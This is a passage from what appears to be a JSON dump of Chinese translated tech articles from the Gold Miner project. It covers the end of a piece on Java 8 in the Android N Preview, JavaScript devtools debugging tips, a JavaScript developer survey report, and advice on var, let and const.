class=\"readableLinkFootnote\"></sup>](http://trickyandroid.com/the-dark-world-of-jack-and-jill/)其中没有中间的Java字节码可用，且像是JaCoCo和Mockito的工具将无法工作，DexGuard也一样 (ProGuard的企业版本)。让我们祈祷这只是一个早期的preview版本，且这些问题将在未来被修复。\n\nLambda表达式以及相关的函数功能APIs —— 这是一个每个Android开发都会喜欢的东西。这类功能将会对增加代码可读性极为有用 —— 它替代了提供事件监听器的匿名内部类。而之前只能通过 [额外的工具<sup class=\"readableLinkFootnote\"></sup>](http://zserge.com/blog/android-lambda.html) 来实现，或者由Android Studio编辑器去折叠代码。\n\n默认及静态interface方法可以帮助我们减少额外的工具类的数量，但显然不是最需要的特性。还有一些其他的新增功能，我希望去说的更详细一些，因此不在本文的范围内。\n\n对我来说最有趣的事 —— Java 8 流(Streams) —— 在当前的预览版中不可用。我们可以发现事实上它 [刚被merge<sup class=\"readableLinkFootnote\"></sup>](https://android.googlesource.com/platform/libcore/+/916b0af2ccdd1bdfc0283b1096b291c40997d05f) 到AOSP源码，所以期望可以在下个N Preview 或者 Beta release中见到它。如果你实在等不及去浏览 —— 可以试试使用 [Lightweight-Stream-API<sup class=\"readableLinkFootnote\"></sup>](https://github.com/aNNiMON/Lightweight-Stream-API)，目前的一个开源向后兼容。\n\n### 示例项目\n\n[官方手册<sup class=\"readableLinkFootnote\"></sup>](http://developer.android.com/preview/setup-sdk.html)提供了指示，甚至还有图展示了如何去配置你的项目使用 Android N Preview 和 Java 8。在这儿没什么可以再说的，就跟着指示走吧。\n\n![](http://ww4.sinaimg.cn/large/a490147fjw1f2w1lxrva9j20m803pt9h.jpg)\n\n下一步是去配置你的app模块的 build.gradle 文件。你可以在下面看到实例的 build.gradle 文件。从N SDK上的公告来看，似乎可以设置 _minSdkVersion_ 为 Jelly Bean 或者 KitKat。 但… 在将 _targetSdkVersion_ 设为Android N Preview后，[将无法工作在API低于N的设备上<sup class=\"readableLinkFootnote\"></sup>](http://stackoverflow.com/questions/36278517/java-8-in-android-n-preview)。另外，如果你把 _minSdkVersion_ 设置为23或者更低 —— Java 8代码将无法编译。这里是一些在 [SO forums<sup class=\"readableLinkFootnote\"></sup>](http://stackoverflow.com/questions/35929484/android-n-cannot-run-on-lower-api-though-minsdk-set-to-14)的hack，描述了怎么设置minSdk为想要的值并使得app可以工作。我希望你不会在生产代码中使用这种方法 :)\n\n我决定保持实例代码干净，所以没有添加任何hack手段来做低版本兼容，请读者自由去尝试或者使用N的测试设备/模拟器。\n\n```\nandroid {\n    compileSdkVersion 'android-N'\n    buildToolsVersion '24.0.0 rc1'\n\n    defaultConfig {\n        applicationId \"org.sergiiz.thermometer\"\n        minSdkVersion 'N' // 在 N Preview 中不能使用低于N的版本\n        targetSdkVersion 'N'\n        versionCode 1\n        versionName \"1.0\"\n        jackOptions{\n            enabled true\n        }\n    }\n    compileOptions {\n        targetCompatibility 1.8\n        sourceCompatibility 1.8\n    }\n    //...\n}\n```\n\n请注意这个设置是跟着新的[文档<sup class=\"readableLinkFootnote\"></sup>](http://developer.android.com/preview/j8-jack.html)来的，使用了新的 Gradle DSL 方法 _jackOptions_ 来配置Jack编译器设置，在更老的版本中，我们使用 _useJack true_ 来达到同样的结果。\n\n所以来试着实现一些Java 8的优雅代码到我们陈旧的Thermometer项目。\n\n这是一个接口，包含了默认方法：\n\n```\npublic interface Thermometer {\n\n   void setCelsius(final float celsiusValue);\n\n   float getValue();\n\n   String getSign();\n\n   default String getFormattedValue(){\n      return String.format(Locale.getDefault(),\n            \"The temperature is %.2f %s\", getValue(), getSign());\n   }\n}\n```\n\n实现了这个接口的类：\n\n```\npublic class FahrenheitThermometer implements Thermometer {\n\n   private float fahrenheitDeg;\n\n   public FahrenheitThermometer(float celsius) {\n      setCelsius(celsius);\n   }\n\n   @Override\n   public void setCelsius(float celsius) {\n      fahrenheitDeg = celsius * 9 / 5 + 32f;\n   }\n\n   @Override\n   public float getValue() {\n      return fahrenheitDeg;\n   }\n\n   @Override\n   public String getSign() {\n      return Constants.DEGREE + \"F\";\n   }\n}\n```\n\n增加一个点击事件的lambda函数：\n\n```\nbuttonFahrenheit.setOnClickListener(view1 -> {\n   fahrenheitThermometer.setCelsius(currentCelsius);\n   String text = fahrenheitThermometer.getFormattedValue();\n   makeText(MainActivity.this, text, Toast.LENGTH_SHORT).show();\n});\n```\n\n例子的完整源码可见 [GitHub repository<sup class=\"readableLinkFootnote\"></sup>](https://github.com/sergiiz/AndroidNPreviewJ8)。\n\n### 总结\n\n在这篇文章中，我们了解了Java 8的用例，以及目前其在Android N Preview SDK的实现情况。我们也看到了当前Jack编译器的限制，及其在最后发布前可能被修复的功能。在demo项目中我们检验了如何去使用新的Java 8特性，以及它们可以被应用的target SDK版本。\n"
  },
  {
    "path": "TODO/javascript-debugging-tips.md",
    "content": "> * 原文地址：[The 14 JavaScript debugging tips you probably didn't know](https://raygun.com/javascript-debugging-tips)\n> * 原文作者：[Luis Alonzo](https://raygun.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/javascript-debugging-tips.md](https://github.com/xitu/gold-miner/blob/master/TODO/javascript-debugging-tips.md)\n> * 译者：[ParadeTo](https://github.com/ParadeTo)\n> * 校对者：[Yuuoniy](https://github.com/Yuuoniy), [lampui](https://github.com/lampui)\n\n# 14 个你可能不知道的 JavaScript 调试技巧\n\n更快更高效地调试你的 JavaScript\n\n\n了解你的工具在完成任务时有很重要的意义。 尽管 JavaScript 是出了名的难以调试，但是如果你掌握了一些小技巧，错误和 bug 解决起来就会快多了。\n\n**我们收集了 14 个你必须要知道的调试技巧**，希望你可以牢记以便下次你需要它们来帮助你调试你的 JavaScript 代码。\n\n**让我们开始吧**\n\n\n大多数技巧都是用于 Chrome Inspector 和 Firefox，尽管有些可能也适用于其他调试器。\n\n## 1. \"debugger;\"\n\n除了 console.log， “debugger;” 是我最喜欢的临时应急调试工具。一旦它在你的代码中出现，Chrome 会自动地在执行到它所在位置时停下。你甚至可以将它放在条件语句中，只在你需要的时候运行。\n\n```\nif (thisThing) {\n    debugger;\n}\n```\n\n## 2. 以表格的形式展示对象\n\n有些时候，你想查看一组复杂的对象。你可以用 console.log 打印并滚动查看，或者使用 console.table 来更加轻松地查看你所处理的对象。\n\n```\nvar animals = [\n    { animal: 'Horse', name: 'Henry', age: 43 },\n    { animal: 'Dog', name: 'Fred', age: 13 },\n    { animal: 'Cat', name: 'Frodo', age: 18 }\n];\n\nconsole.table(animals);\n```\n\n输出: \n\n[![Screenshot showing the resulting table for JavaScript debugging tip 2 ](https://raygun.com/upload/Debugging%202b.png)](https://raygun.com/upload/Debugging%202b.png)\n\n## 3. 尝试所有的尺寸\n\n拥有所有的移动设备这个想法是很美妙的，但是现实中是不可能的。不如取而代之，改变视口吧？Chrome 提供了所有你需要的东西。打开你的调试器并点击 **\"toggle device mode\"** 按钮。你会看到媒体查询出现啦！\n\n[![](https://raygun.com/upload/Debugging%201%20.png)](https://raygun.com/upload/Debugging%201%20.png)\n\n## 4. 如何快速找到你的 DOM 元素\n\n在 elements 面板中标记一个 DOM 元素，然后在 console 中使用它。Chrome Inspector 会保存最后 5 个元素在其历史记录中，所以最后标记的元素可以用 $0 来显示，倒数第二个被标记的元素为 $1 ，以此类推。\n\n如果你以 “item-4”, “item-3”, “item-2”, “item-1”, “item-0” 的顺序标记下面的这些元素，你可以像下图所示那样在 console 中访问这些 DOM 节点\n\n[![](https://raygun.com/upload/Debugging%202.png)](https://raygun.com/upload/Debugging%202.png)\n\n## 5. 使用 console.time() 和 console.timeEnd() 对循环做基准测试\n\n知道程序运行的确切时间是非常有用的，尤其当调试非常慢的循环时。通过给函数传参，你甚至可以启动多个计时器。让我们看看如何做：\n\n```\nconsole.time('Timer1');\n\nvar items = [];\n\nfor(var i = 0; i < 100000; i++){\n   items.push({index: i});\n}\n\nconsole.timeEnd('Timer1');\n```\n\n得到如下输出：\n\n[![](https://raygun.com/upload/Debugging%203.png)](https://raygun.com/upload/Debugging%203.png)\n\n## 6. 获取函数的堆栈踪迹\n\n您可能了解 JavaScript 框架，生成大量代码 -- 快速地。\n\n它会构建视图和触发事件，因此你最终会想要知道是什么在调用函数。\n\nJavaScript 不是一个非常结构化的语言，所以有时很难搞清楚 **发生了什么** 和 **什么时候发生的** 。因此 console.trace （console 面板中只需要 trace）就派上用场了。\n\n假设你想知道第 33 行 car 实例的 funcZ 方法的整个堆栈踪迹：\n\n```\nvar car;\nvar func1 = function() {\n\tfunc2();\n}\n\nvar func2 = function() {\n\tfunc4();\n}\nvar func3 = function() {\n}\n\nvar func4 = function() {\n\tcar = new Car();\n\tcar.funcX();\n}\nvar Car = function() {\n\tthis.brand = 'volvo';\n\tthis.color = 'red';\n\tthis.funcX = function() {\n\t\tthis.funcY();\n\t}\n\n\tthis.funcY = function() {\n\t\tthis.funcZ();\n\t}\n\n\tthis.funcZ = function() {\n\t\tconsole.trace('trace car')\n\t}\n}\nfunc1();\nvar car;\nvar func1 = function() {\n\tfunc2();\n}\nvar func2 = function() {\n\tfunc4();\n}\nvar func3 = function() {\n}\nvar func4 = function() {\n\tcar = new Car();\n\tcar.funcX();\n}\nvar Car = function() {\n\tthis.brand = 'volvo';\n\tthis.color = 'red';\n\tthis.funcX = function() {\n\t\tthis.funcY();\n\t}\n\tthis.funcY = function() {\n\t\tthis.funcZ();\n\t}\n \tthis.funcZ = function() {\n\t\tconsole.trace('trace car')\n\t}\n}\nfunc1();\n```\n\n第 33 行将输出：\n\n[![](https://raygun.com/upload/Debugging%204.png)](https://raygun.com/upload/Debugging%204.png)\n\n现在我们知道 **func1** 调用了 **func2** ， **它又调用了func4**。 **func4** 接着创建了一个 **Car** 的实例并调用了 **car.funcX**，等等。\n\n即便你认为对你的代码很熟悉，这也仍然非常有用。假设你想优化你的代码。获取到函数堆栈踪迹以及所有相关的其他函数，每一个函数都是可点击的，你可以在他们之间来回跳转，就像一个菜单一样。\n\n## 7. 解压缩代码以便更好地调试 JavaScript\n\n有时生产环境会出现问题，而服务器无法提供 source map 。 **不要害怕**。 Chrome 可以解压你的 JavaScript 代码以更加可读的格式呈现。尽管格式化后的代码不可能跟源码一样有用，但至少你可以知道发生了什么。点击调试器 source 面板下面的 {} Pretty Print 按钮。\n\n[![](https://raygun.com/upload/Debugging%205.png)](https://raygun.com/upload/Debugging%205.png)\n\n## 8. 快速定位要调试的函数\n\n假设你想在某个函数中设置一个断点。\n\n最常用的两种方式是：\n\n**1. 在调试器中找到相应的行并设置一个断点**\n\n**2. 在你的脚本中添加一个 debugger**\n\n以上两种方法，你都必须到你的文件中找到你想调试的那一行。\n\n可能不常见的方式是使用 console。在 console 中使用 debug(funcName)，脚本会在运行到你传入的函数的时候停止。\n\n这种方式比较快，缺点是对私有和匿名函数无效。但是，如果排除这些情形的话，这可能是定位要调试函数的最快方法。\n\n```\nvar func1 = function() {\n\tfunc2();\n};\n\nvar Car = function() {\n\tthis.funcX = function() {\n\t\tthis.funcY();\n\t}\n\n\tthis.funcY = function() {\n\t\tthis.funcZ();\n\t}\n}\n\nvar car = new Car();\n```\n\n在 console 中输入 debug(car.funcY)，在调试模式下当调用 car.faunY 时脚本会停下来：\n\n[![](https://raygun.com/upload/Debugging%206.png)](https://raygun.com/upload/Debugging%206.png)\n\n## 9. 不相关的黑盒脚本\n\n我们经常会在我们的网页应用中用到一些库和框架。他们中大部分都经过良好的测试且相对来说错误较少。但是，调试器在执行调试任务时还是会进入这些不相关的文件。一个解决办法是将你不需要调试的脚本设置成黑盒。也包括你自己的脚本。[更多关于调试黑盒的信息请参考这篇文章](https://raygun.com/blog/javascript-debugging-with-black-box/)\n\n## 10. 在复杂的调试中找到重要的信息\n\n在更复杂的调试中我们有时想输出很多行。为了使你的输出保持更好的结构，你可以使用更多的 console 方法，如：console.log, console.debug, console.warn, console.info, console.error 等。然后，你还可以在调试器中过滤他们。但是有时当你调试 JavaScript 时，这并不是你真正想要的。现在，你可以给你的信息添加点创意和样式了。你可以使用 CSS 并制定你自己的 console 输出格式：\n\n```\nconsole.todo = function(msg) {\n\tconsole.log(‘ % c % s % s % s‘, ‘color: yellow; background - color: black;’, ‘–‘, msg, ‘–‘);\n}\n\nconsole.important = function(msg) {\n\tconsole.log(‘ % c % s % s % s’, ‘color: brown; font - weight: bold; text - decoration: underline;’, ‘–‘, msg, ‘–‘);\n}\n\nconsole.todo(“This is something that’ s need to be fixed”);\nconsole.important(‘This is an important message’);\n```\n\n将输出: \n\n[![](https://raygun.com/upload/Debugging%207.png)](https://raygun.com/upload/Debugging%207.png)\n\n**例如：**\n\n在 console.log() 中，%s 表示一个字符串，%i 表示整型，%c 表示自定义样式。你可能会找到更好的方式来使用它们。如果你使用单页面框架，你可能想对 view 的输出信息使用一种样式，对 models，collections，controllers 等使用其他的样式，你可能会使用 wlog，clog，mlog 等简称来命名。总之，尽情发挥你的创造力吧。\n\n## 11. 监控一个特定的函数调用及其参数\n\n在 Chrome 的 console 面板中，你可以监视一个特定的函数。每次该函数被调用，它将连同传入的参数一起打印出来。\n\n```\nvar func1 = function(x, y, z) {\n//....\n};\n```\n\n将输出： \n\n[![](https://raygun.com/upload/Debugging%208.png)](https://raygun.com/upload/Debugging%208.png)\n\n这是一个查看函数所传入参数的好办法。但是我认为如果 console 能够告诉我函数需要传入的参数个数的话会更好。上面的例子中，func1 需要传入 3 个参数，但是只传了 2 个参数。如果代码中没有对这种情况进行处理，可能会导致 bug。\n\n## 12. 在 console 中快速查询元素\n\n在 console 中执行 querySelector 的一个更快的办法是使用 $ 符号。$('css-selector') 会返回 CSS 选择器所匹配的第一个元素。$$(‘css-selector’) 会返回所有的元素。如果你要不止一次地使用该元素，最好是把它作为变量缓存起来。\n\n[![](https://raygun.com/upload/Debugging%2010.png)](https://raygun.com/upload/Debugging%2010.png)\n\n## 13. Postman 是个好东西（但 Firefox 更快）\n\n很多开发者在使用 Postman 来处理 ajax 请求。Postman 很优秀，使用它需要打开一个新的浏览器窗口，然后编写请求体然后测试，有点烦人。\n\n有时使用你的浏览器会更轻松。\n\n使用浏览器，当你向一个基于密码保护的网页发送请求时你不用再担心 cookie 的认证。你可以在 Firefox 中编辑并再次发送请求。\n\n打开调试器并跳转到 network 选项。右键点击你想要修改的请求并选择 Edit and Resend，你就可以修改任何你想要修改的东西了。你可以修改头部以及参数然后点击 resend。\n\n下面我提交了两个参数不同的请求：\n\n![When debugging JavaScript, Chrome lets you pause when a DOM element changes](https://raygun.com/upload/Debugging%2011.png)\n\n## 14. 打断节点的变化\n\nDOM 是个有趣的东西。有时它发生了变化，然而你却一脸懵逼，不知道为啥。但是，当你使用 Chrome 调试 JavaScript，DOM 发生变化时，你可以暂停，甚至可以监控属性的变化。在 Chrome Inspector 中，右键点击某个元素，然后选择 break on 设置来使用：\n\n[![](https://raygun.com/upload/Debugging%2014.png)](https://raygun.com/upload/Debugging%2014.png)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/javascript-developer-survey-results.md",
    "content": "> * 原文链接 : [JavaScript Developer Survey Results](https://ponyfoo.com/articles/JavaScript-developer-survey-results)\n* 原文作者 : [ponyfoo](https://ponyfoo.com/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [sqrthree(根号三)](https://github.com/sqrthree)\n* 校对者: [Zhangdroid](https://github.com/Zhangdroid)\n* 状态 :  完成\n\n# JavaScript 开发者年度调查报告\n\n截至目前有超过了 5000 人参与了(该次调查)，准确的说是 5350 人。我迫不及待的想要和大家分享一下这次调查的细节。在分享之前我想要感谢参与调查的每一个人。这是 JavaScript 社区一个伟大的时刻，我对未来的事情感到无比激动。\n\n我没有想到大家如此积极，下一次我一定会对版式做一些改进。换句话说，就是我会先将问卷调查放到 [Github](https://github.com/) 上，以便于在开始调查之前，社区有一到两周的时间来收集改进问题和选项。这样，我就可以得到更精确的结果，也可以避免出现诸如 \"我很震惊你竟然没有包含 Emacs\" 这样的抱怨。\n\n现在，基于调查结果。我将保持中立的态度发表一下调查结果，这样你就可以得出自己的公正的结论。\n\n## 你写什么类型的 JavaScript？\n\n有高达 97.4% 的受访者用 JavaScript 写 web 浏览器程序，其中有 37% 的受访者写移动端 web 程序。超过 3000 人(56.6%) 也写服务端的 JavaScript。在这些参与调查者的人中间，有 5.5% 的人还在一些嵌入式环境中使用 JavaScript，例如 Tessel 或 a Raspberry Pi (树莓派)。\n\n少数参与者表示他们也在其他一些地方使用 JavaScript，尤其是在开发 CLI 和桌面应用方面。还有少数提到了 Pebble 和 Apple TV. 这些都归类在 **Other(其他)** 一类中，占总票数的 2.2%。\n\n![An screenshot of the percentages for the first question](https://i.imgur.com/c0q4LvI.png)\n\n## 你在哪里使用 JavaScript？\n\n不出所料地，有 94.9% 的参与者在工作中使用 JavaScript，但是，统计中也有很大一部分(占总票数的 82.3%) 参与者也在其他项目中使用。其他的回复则包括了教学，好玩，和非盈利目的的使用。\n\n![An screenshot of the percentages for the second question](https://i.imgur.com/K5nSsyr.png)\n\n## 你写 JavaScript 多长时间了？\n\n超过 33% 的受访者表示他们写 JavaScript 代码已经超过了 6 年时间。除了这些人之外，有 5.2% 的人一年前开始写 JavaScript 代码，12.4% 的人是两年前，还有 15.1% 的人是三年前。这说明在 5350 个投票者中，有 32.7% 的人是在近几年才开始写 JavaScript 的。\n\n![An screenshot of the percentages for the third question](https://i.imgur.com/P5ev9fL.png)\n\n## 如果可以的话，你使用哪种 compile-to-JavaScript(编译为 JavaScript 的) 语言？\n\n有高达 **85%** 的受访者表示他们使用 ES6 编译成 ES5。与此同时，有 15% 的人仍然使用 `CoffeeScript`，15.2% 的人使用 `TypeScript`，只有区区 1.1% 的人使用 `Dart`。\n\n这是我想进一步探讨的问题之一，因为有 13.8% 的人选择了 _“Other(其他)”_，选择 _“Othe(其他)”_ 的绝大部分的回答是 `ClojureScript`, `elm`, `Flow`, 和 `JSX`。\n\n![An screenshot of the percentages for the fourth question](https://i.imgur.com/12mL6u6.png)\n\n## 你更喜欢哪一种 JavaScript 编程风格？\n\n回答这个问题的绝大多数开发者(79.9%)都选择了分号。相反，有 11% 的开发者指出更喜欢不使用分号。\n\n逗号方面，44.9% 的开发者喜欢将逗号放在表达式的末尾，然而有 4.9% 的开发者喜欢先写逗号。\n\n缩进方面，65.5% 的开发者更喜欢使用空格，然而有 29.1% 的开发者则更喜欢使用制表符(Tab)。\n\n![An screenshot of the percentages for the fifth question](https://i.imgur.com/xwFVmS1.png)\n\n## 你使用过 ES5 的哪些特性？\n\n79.2% 的受访者都使用过 `Array(数组)` 的一些实用的方法，76.3% 的开发者使用严格模式。30% 的开发者使用 `Object.create`，而使用过 getters 和 setters 的开发者仅占了 28%.\n\n![An screenshot of the percentages for the sixth question](https://i.imgur.com/W9pUOua.png)\n\n## 你使用过 ES6 的哪些特性？\n\n显然，在这些投票中，箭头函数是使用最多的 ES6 特性，占了 79.6%。在所有调查者中，Let 和 const 加在一起一共占了 77.8% 。promises 也有 74.4% 的开发者采用。不出所料，只有 4% 的参与者使用 proxies，只有 13.1% 的用户表示他们使用 symbols，同时有超过 30% 的人说他们使用 iterators。\n\n![An screenshot of the percentages for the seventh question](https://i.imgur.com/okcvuos.png)\n\n## 你写测试么？\n\n有 21.7% 的开发者表示他们从不写任何测试。大部分人偶尔写一些测试。34.8% 的人总是写测试。\n\n![An screenshot of the percentages for the eighth question](https://i.imgur.com/0C944YL.png)\n\n## 你运行持续集成测试吗？\n\n和 CI 类似，尽管许多人(超过40%)不使用 CI 服务器，但是差不多有 60% 的人表示在少数时间会使用 CI，其中有 32% 的人总是在 CI 服务器上运行测试代码。\n\n![An screenshot of the percentages for the ninth question](https://i.imgur.com/P04bJHG.png)\n\n## 你怎么运行测试代码？\n\n59% 的开发者喜欢使用 PhantomJS 或是类似的工具来运行自动化浏览器测试。也有 51.3% 的开发者喜欢在 web 浏览器上手动运行测试。有 53.5% 的投票者会在服务器端进行自动化测试。\n\n![An screenshot of the percentages for the tenth question](https://i.imgur.com/v09gVdQ.png)\n\n## 你使用过哪个单元测试库？\n\n似乎大部分投票者都使用 Mocha 或是 Jasmine 来运行他们的 JavaScript 测试用例。而 Tape 收到了 9.8% 的选票。\n\n![An screenshot of the percentages for the eleventh question](https://i.imgur.com/20nUzJu.png)\n\n## 你使用过哪个代码质量检测工具？\n\n看起来受访者在 ESLint 和 JSHint 之间分成了两派，但是 JSLint 还是有差不多 30% 的投票率，在这么多年之后势头还是惊人的强劲。\n\n![An screenshot of the percentages for the 12th question](https://i.imgur.com/RC8ePwr.png)\n\n## 你通过哪种方式来处理客户端依赖关系？\n\nnpm 接管了客户端依赖管理系统的天下，有超过 60% 的投票就是证明它的方式。Bower 仍然有 20% 的观众，而通过下载和插入 `<script>` 标签来管理的普通旧式方法则获得了 13.7% 的选票。\n\n![An screenshot of the percentages for the 13th question](https://i.imgur.com/TOQiSZP.png)\n\n## 你首选的脚本构建方案是什么？\n\n构建工具的选择很分散，部分原因是有太多的不同的选项可供选择。Gulp 最流行，有着超过 40% 的选票，紧接着的是使用 `npm run`，有 27.8%。Grunt 得到了 18.5% 的支持者。\n\n![An screenshot of the percentages for the 14th question](https://i.imgur.com/xXlEE3E.png)\n\n## 你首选的 JavaScript 模块加载工具是什么？\n\n目前，看起来大部分开发者都在 Browserify 和 Webpack 之间徘徊，而后者高出了 7 个百分点。29% 的用户表示他们在使用前面提到的这两个工具打包他们的模块之前会先使用 Babel 进行转换。\n\n![An screenshot of the percentages for the 15th question](https://i.imgur.com/pQPMC7V.png)\n\n## 你使用过哪些库？\n\n现在回顾起来，这是一个受益于协同编辑的问题之一。jQuery 获得了超过 50% 的选票证明了它的势头依然很强劲。在参与投票的 JavaScript 使用者中，Lodash 与 Underscore 也被很大一部分开发者使用。 `xhr` 微型库只获得了 8% 的票数。\n\n![An screenshot of the percentages for the 16th question](https://i.imgur.com/7jAwy05.png)\n\n## 你使用过哪些框架？\n\n毫无意外地，React 和 Angular 遥遥领先于其他框架，有着 22.8% 的 Backbone 仍然处在一个安全的位置。\n\n![An screenshot of the percentages for the 17th question](https://i.imgur.com/zpSAISK.png)\n\n## 你使用 ES6 吗？\n\n受访者在这个问题上的反应相当分歧，有近 20% 的人几乎从不使用 ES6，超过 10% 的人只写 ES6，接近 30% 的人广泛使用 ES6，近 40% 的人偶尔使用。\n\n![An screenshot of the percentages for the 18th question](https://i.imgur.com/hAnbtfN.png)\n\n## 你知道在即将到来的 ES2016 中会有什么特性吗？\n\n粗略地说，有超过一半的投票者表示不知道即将到来的 ES2016 中会有什么特性。另一半则对接下来的版本有所了解。\n\n![An screenshot of the percentages for the 19th question](https://i.imgur.com/DxxOnco.png)\n\n## 你了解 ES6 吗？\n\n超过 60% 的受访者似乎了解基本的概念。10% 的人对 ES6 毫不了解，有 25% 的受访者认为他们非常了解 ES6。\n\n![An screenshot of the percentages for the 20th question](https://i.imgur.com/w6obK3X.png)\n\n## 你认为 ES6 是一个进步吗？\n\n超过 95% 的受访者认为 ES6 是对于 JavaScript 语言来说是一个进步，下一次碰到 TC39 的会员我得祝贺他们。\n\n![An screenshot of the percentages for the 21th question](https://i.imgur.com/c0RtfVK.png)\n\n## 你更喜欢什么文本编辑器？\n\n再一次，由于存在各种各样的选择导致结果非常分散。超过一半的受访者喜欢 [Sublime Text](http://www.sublimetext.com/)，超过 30% 的受访者喜欢使用 [atom](https://atom.io/) 和 它的开源克隆版。超过 25% 的选票投给了 WebStorm，也有 25% 的选票投给了 vi/vim。\n\n![An screenshot of the percentages for the 22th question](https://i.imgur.com/Vt8ve7s.png)\n\n## 你更喜欢使用什么操作系统作为开发环境?\n\n超过 60% 的投票者使用 Mac，使用 Linux 和 Windows 的用户都接近 20%。\n\n![An screenshot of the percentages for the 23th question](https://i.imgur.com/PmLbtAo.png)\n\n## 你是通过哪种方式搜索到可重用的代码、库和工具的？\n\n受访者似乎更青睐于 [GitHub](https://github.com) 和搜索引擎，但是也有一部分人使用博客，Twitter 和 npm 网站。\n\n![An screenshot of the percentages for the 24th question](https://i.imgur.com/HpmV9yz.png)\n\n## 你参加过 JavaScript 的社交活动吗？\n\n有近 60% 的人参加过至少一次，74% 的人表示他们喜欢参加聚会。\n\n![An screenshot of the percentages for the 25th question](https://i.imgur.com/EnQWGzf.png)\n\n## 在你的 JavaScript 应用中，你都支持哪些浏览器？\n\n回答相当分散，但是好在大多数受访者表示他们不再处理使用 IE6 的客户(的问题)了。\n\n![An screenshot of the percentages for the 26th question](https://i.imgur.com/BV3eU0X.png)\n\n## 你会定期了解有关 JavaScript 的最新特性吗？\n\n有 80% 的受访者会尝试实时了解并持续学习 JavaScript 的最新特性。\n\n![An screenshot of the percentages for the 27th question](https://i.imgur.com/5TZUW2i.png)\n\n## 你在哪了解最新的 JavaScript 特性？\n\n不出所料地，[Mozilla 开发者网络](https://developer.mozilla.org/) 在 JavaScript 文档和新闻方面处于领先地位。[JavaScript 周刊](http://JavaScriptweekly.com/) 也是一个非常受欢迎的新闻和文章的直接来源，它有着超过 40% 的投票。\n\n![An screenshot of the percentages for the 28th question](https://i.imgur.com/7Jlg7zh.png)\n\n## 你听说过下面哪些新特性？\n\n超过 85% 的人听说过 ServiceWorker，我很想知道这些人中有多少人使用过它。\n\n![An screenshot of the percentages for the 29th question](https://i.imgur.com/8o3Jq2R.png)\n\n## 除了 JavaScript，你还主要使用哪些语言？\n\n这有太多的语言可供选择，我肯定会漏掉一些。但是结果不言自明。\n\n![An screenshot of the percentages for the 30th question](https://i.imgur.com/Tv9NciV.png)\n\n## 谢谢\n\n最后，我想感谢参与此次调查的每一个人。这次调查的受欢迎程度超出了我的预期，我很期待明年再进行一次类似的调查。我希望，那将会是一个更多样性的，也许会再少一点倾向性的调查。\n\n> 你从这次调查中获得了什么呢？\n"
  },
  {
    "path": "TODO/javascript-es6-var-let-or-const.md",
    "content": "> * 原文链接: [JavaScript ES6+: var, let, or const?](https://medium.com/javascript-scene/javascript-es6-var-let-or-const-ba58b8dcde75#.twa6gzmfp)\n* 原文作者: [Eric Elliott](https://medium.com/@_ericelliott)\n* 译文出自: [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者: [Gran](https://github.com/Graning)\n* 校对者:[Yaowenjie](https://github.com/Yaowenjie),[zhangchen](https://github.com/zhangchen91)\n\n# ES6 中 的 var、let 和 const 应该如何选择？\n\n通过学习**让事情变得简单**这个原则也许是成为更好的开发者途径中最重要的事。这意味着在标识符的上下文中**单个标识符应该只被用来表示单一的概念**。\n\n有时候为了表示一些数据就很容易创建一个标识符，然后使用该标识符作为一个临时的空间去存储一些值作为一个过渡。\n\n举个例子，你可能只为了得到 URL 中的 query string 的某个值，而先创建了一个标识符存储完整 URL ，然后是 query string ，最后才是该值。这种做法应该尽量避免。\n\n如果你对 URL、 query string、 GET 参数的值分别使用不同的标识符，是很容易理解的。\n\n这就是为什么在 ES6 上我喜欢 _`const`_ 胜过 _`let`_ 。在JavaScript中，**_`const`_ 意味着该标识符不能被重新赋值**。不要被 _immutable values_ 弄糊涂了。不像那些诸如 Immutable.js 与 Mori 产生的真正不可变的数据类型，_`const`_声明的对象可以有属性变化。\n\n如果我不需要重新赋值，**_`const`_ 就是我的默认选择** 相比 _`let`_ 要常用的多，因为我想让它在代码中的使用尽可能的清晰。\n\n当我后面需要给一个变量重新赋值时一般使用 _`let`_。因为我**使用一个变量对应一个东西，**现在 _`let`_ 越来越多的被使用在循环和算法上面。\n\n我在 ES6 中从不使用 _`var`_ 。例如在一个 for 循环块范围值中，我想不出哪里使用 _`var`_ 比使用 _`let`_ 要好。\n\n**_`const`_**  适用于**赋值后不会再做修改**的情况。\n\n**_`let`_**  适用于**赋值后还会修改**的情况。例如循环计数，或者是一个算法的值交换过程。它同时标志着这个变量只能被用在**所定义的块作用域**之中，也就是说它并不总是包含在整个函数中。\n\n**_`var`_**  现在是**最坏的选择**当你在 JavaScript 中定义一个变量时。 它在定义后可能还会修改，可能会在全局函数中使用，或者说只为块或循环。\n\n#### 警告：\n\n现在在 ES6 中，因为 _`let`_ 和 _`const`_ 的暂时性死区效应，使用 _`typeof`:_ 来检测标识符已经不再安全了。 \n\n译者注：在声明之前对标识符使用 _`typeof`:_ ，会抛出 ReferenceError。\n\n```\nfunction foo () {\n  typeof bar;\n  let bar = ‘baz’;\n}\n\nfoo(); // ReferenceError: can't access lexical declaration\n       // `bar' before initialization\n```\n\n但是不要紧只要你采用我的方法 [“Programming JavaScript Applications”](http://pjabook.com)，在你使用它们之前进行标识符初始化。\n\n#### P.S.\n\n如果你需要通过清除它释放一个值，你可以考虑使用 _`let`_ 而不是 _`const`_。如果你需要对垃圾回收进行微管理，你应该去看“Slay’n the Waste Monster”, 视频链接:\n[![](https://i.ytimg.com/vi/RWmzxyMf2cE/sddefault.jpg)](https://medium.com/media/6f512d3acc928ffcb80ac4f5586c2e87?maxWidth=700)\n"
  },
  {
